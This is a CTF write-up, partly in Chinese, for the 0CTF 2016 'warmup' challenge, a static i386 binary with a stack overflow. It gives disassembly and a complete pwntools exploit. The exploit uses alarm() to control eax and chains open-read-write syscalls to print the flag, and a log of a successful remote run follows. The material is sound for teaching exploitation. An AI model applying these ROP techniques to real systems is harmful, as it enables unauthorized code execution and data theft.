WriteUp: 0CTF 2016 warmup

0x0 Checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

0x1 Reverse Enginnering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:0804815A ; =============== S U B R O U T I N E =======================================
.text:0804815A
.text:0804815A
.text:0804815A stackoverflow proc near ; CODE XREF: start+2B↑p
.text:0804815A
.text:0804815A fd = dword ptr -30h
.text:0804815A addr = dword ptr -2Ch
.text:0804815A len = dword ptr -28h
.text:0804815A var_20 = byte ptr -20h
.text:0804815A
.text:0804815A sub esp, 30h
.text:0804815D mov [esp+30h+fd], 0 ; fd
.text:08048164 lea eax, [esp+30h+var_20]
.text:08048168 mov [esp+30h+addr], eax ; addr
.text:0804816C mov [esp+30h+len], 34h ; len
.text:08048174 call read
.text:08048179 mov [esp+30h+fd], 1 ; fd
.text:08048180 mov [esp+30h+addr], offset aGoodLuck ; "Good Luck!\n"
.text:08048188 mov [esp+30h+len], 0Bh ; len
.text:08048190 call write
.text:08048195 mov eax, 0DEADBEAFh
.text:0804819A mov ecx, 0DEADBEAFh
.text:0804819F mov edx, 0DEADBEAFh
.text:080481A4 mov ebx, 0DEADBEAFh
.text:080481A9 mov esi, 0DEADBEAFh
.text:080481AE mov edi, 0DEADBEAFh
.text:080481B3 mov ebp, 0DEADBEAFh
.text:080481B8 add esp, 30h
.text:080481BB retn
.text:080481BB stackoverflow endp

漏洞点在于:frame stack大小为0x30; read写入的变量为var_20,其内存位置为:[esp+30h+var_20][esp + 0x30 - 0x20],因此var_20变量若写入内容超过0x20, 则会发生stack overflow. 在该函数中,读取的len0x34,明显超过0x20,即发生stack overflow,覆盖ret address,污染控制流.

0x2 Analyze

该题目的stack overflow很容发现,利用也毫无难点。但该函数为静态编译,且其中用int 0x80的方式调用system call。由于该文件体简单且小,又无libc.so等库,因此无法找出有效可用的rop chain.

该题目中使用了int 0x80的方式进行readwrite, 且有良好布局system call调用的代码片段,如下:
(.text:08048122 -> .text:08048134)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0804811D read            proc near               ; CODE XREF: stackoverflow+1A↓p
.text:0804811D
.text:0804811D fd = dword ptr 4
.text:0804811D addr = dword ptr 8
.text:0804811D len = dword ptr 0Ch
.text:0804811D
.text:0804811D mov eax, 3
.text:08048122 mov ebx, [esp+fd] ; fd
.text:08048126 mov ecx, [esp+addr] ; addr
.text:0804812A mov edx, [esp+len] ; len
.text:0804812E int 80h ; LINUX - sys_read
.text:08048130 test eax, eax
.text:08048132 js short sub_804814D
.text:08048134 retn
.text:08048134 read endp
.text:08048134

若能控制eax的值,则能达到调用任意system_call函数的目的。

因此两种思路:

  • 使用system函数

    设置eax = 0xb, 调用 execve("/bin/sh")

  • 使用open-read-write

    open("flag", 0); //eax = 5
    read(3, buffer, len); //eax = 3
    write(1, buffer, len); // eax = 4
    其中read,write在二进制中都有完整的函数可用,不必自己重新构造。

控制eax的思路为使用alarm函数。
第一次调用alarm时,设定发送SIGALRM信号的时间;第二次调用alarm时,将会把前一次alarm***剩余的***时间返回。

注意是剩余的时间而非流失的时间。

但由于在该题目中,首次调用alarm设定的时间为10秒,小于system('/bin/sh')所需要的0xb,因此只能采用open-read-write链。

0x3 Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!python3
from pwn import *
from pwnlib.util import misc
import os

elf = context.binary = ELF("warmup")
libc = elf.libc

context.terminal = ["tmux", "split", "-h"]
context.log_level = 'debug'

gs = '''
continue
'''
def start():
if args.GDB:
p = process(elf.path)
cmd = ["gdb", "-p", str(p.pid)]
cmd = context.terminal + cmd
cmd = ' '.join(cmd)
os.system(cmd)
time.sleep(1)
return p
elif args.REMOTE:
return remote('node4.buuoj.cn', 25353)
else:
return process(elf.path)

#--------- Process Interactive ---------------------

io = start()
io.timeout = 30
tic = time.time()

io.recvuntil(b'Welcome to 0CTF 2016!\n')

alarm = 0x804810D
read = 0x804811D
write = 0x08048135
stackoverlow = 0x804815A

mov_esp_bcd_int = 0x8048122
""" 设置eax后,ebx,ecx,edx都从栈上读出,即可调用system_call
.text:08048122 mov ebx, [esp+4]
.text:08048126 mov ecx, [esp+8]
.text:0804812A mov edx, [esp+12]
.text:0804812E int 80h
"""

# 从vmmap中,找到一块可写内存,用来保存flag文件路径和内容。
buffer = 0x8049600

##### 1. read flag path into buffer
payload = b'A'*0x20
payload += p32(read) #stackoverlow return address
payload += p32(stackoverlow) #read return address
payload += p32(0) #fd
payload += p32(buffer) #addr
payload += p32(6) #len
io.send(payload)
if args.GDB:
ctn = io.recvuntil(b"Good Luck!\n")
else:
ctn = io.recvline()
io.send(b"flag\0")

##### 2. open flag file;
# system_call open >> eax:0x5; ebx:char* file_name; ecx: flags; edx: mode
# 第二次调用alarm函数,会返回距离第一次调用alarm 剩余的时间(秒)

toc = time.time()
# time.sleep(5) ### alarm设置10秒,sleep 5秒,剩余5秒
log.info("alarm time: {}".format(toc-tic))
time.sleep(5 - (toc - tic))
payload = b'A'*0x20
payload += p32(alarm)
payload += p32(mov_esp_bcd_int)
payload += p32(stackoverlow)
payload += p32(buffer) #ebx file_name
payload += p32(0) #ecx flags (0: O_RDONLY, 1: O_WRONLY, 2: O_RDWR)
# payload += p32(0) #edx
io.send(payload)
if args.GDB:
ctn = io.recvuntil(b"Good Luck!\n")
else:
ctn = io.recvline()

##### 3. read flag content into buffer
payload = b'A'*0x20
payload += p32(read)
payload += p32(stackoverlow)
payload += p32(3) #fd
payload += p32(buffer) #addr
payload += p32(0x100) #len
io.send(payload)
if args.GDB:
ctn = io.recvuntil(b"Good Luck!\n")
else:
ctn = io.recvline()

##### 4. write flag content into stdout
payload = b'A'*0x20
payload += p32(write)
payload += p32(stackoverlow) #call valid function to make binary happy, exploit stable
payload += p32(1) #fd
payload += p32(buffer) #addr
payload += p32(0x100) #len
io.send(payload)
if args.GDB:
ctn = io.recvuntil(b"Good Luck!\n")
else:
ctn = io.recvline()

flag = io.recv()
log.info(f"flag: {flag}")

# =============================================================================
# io.interactive()
io.close()

0x4 Output Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
╰─$ python exp.py REMOTE   

[*] 'warmup/warmup'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 25353: Done
[DEBUG] Received 0x16 bytes:
b'Welcome to 0CTF 2016!\n'
[DEBUG] Sent 0x34 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 1d 81 04 08 5a 81 04 08 00 00 00 00 00 96 04 08 │····│Z···│····│····│
00000030 06 00 00 00 │····│
00000034
[DEBUG] Received 0xb bytes:
b'Good Luck!\n'
[DEBUG] Sent 0x5 bytes:
00000000 66 6c 61 67 00 │flag│·│
00000005
[*] alarm time: 0.08231258392333984
[DEBUG] Sent 0x34 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 0d 81 04 08 22 81 04 08 5a 81 04 08 00 96 04 08 │····│"···│Z···│····│
00000030 00 00 00 00 │····│
00000034
[DEBUG] Received 0xb bytes:
b'Good Luck!\n'
[DEBUG] Sent 0x34 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 1d 81 04 08 5a 81 04 08 03 00 00 00 00 96 04 08 │····│Z···│····│····│
00000030 00 01 00 00 │····│
00000034
[DEBUG] Received 0xb bytes:
b'Good Luck!\n'
[DEBUG] Sent 0x34 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 35 81 04 08 5a 81 04 08 01 00 00 00 00 96 04 08 │5···│Z···│····│····│
00000030 00 01 00 00 │····│
00000034
[DEBUG] Received 0xb bytes:
b'Good Luck!\n'
[DEBUG] Received 0x100 bytes:
00000000 66 6c 61 67 7b 31 38 31 31 61 64 61 65 2d 38 35 │flag│{181│1ada│e-85│
00000010 31 38 2d 34 38 31 36 2d 61 66 66 32 2d 30 31 65 │18-4│816-│aff2│-01e│
00000020 65 65 62 32 64 63 62 33 38 7d 0a 00 00 00 00 00 │eeb2│dcb3│8}··│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
[*] flag: b'flag{▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Closed connection to node4.buuoj.cn port 25353

0x5 The Challenge

https://buuoj.cn/challenges#warmup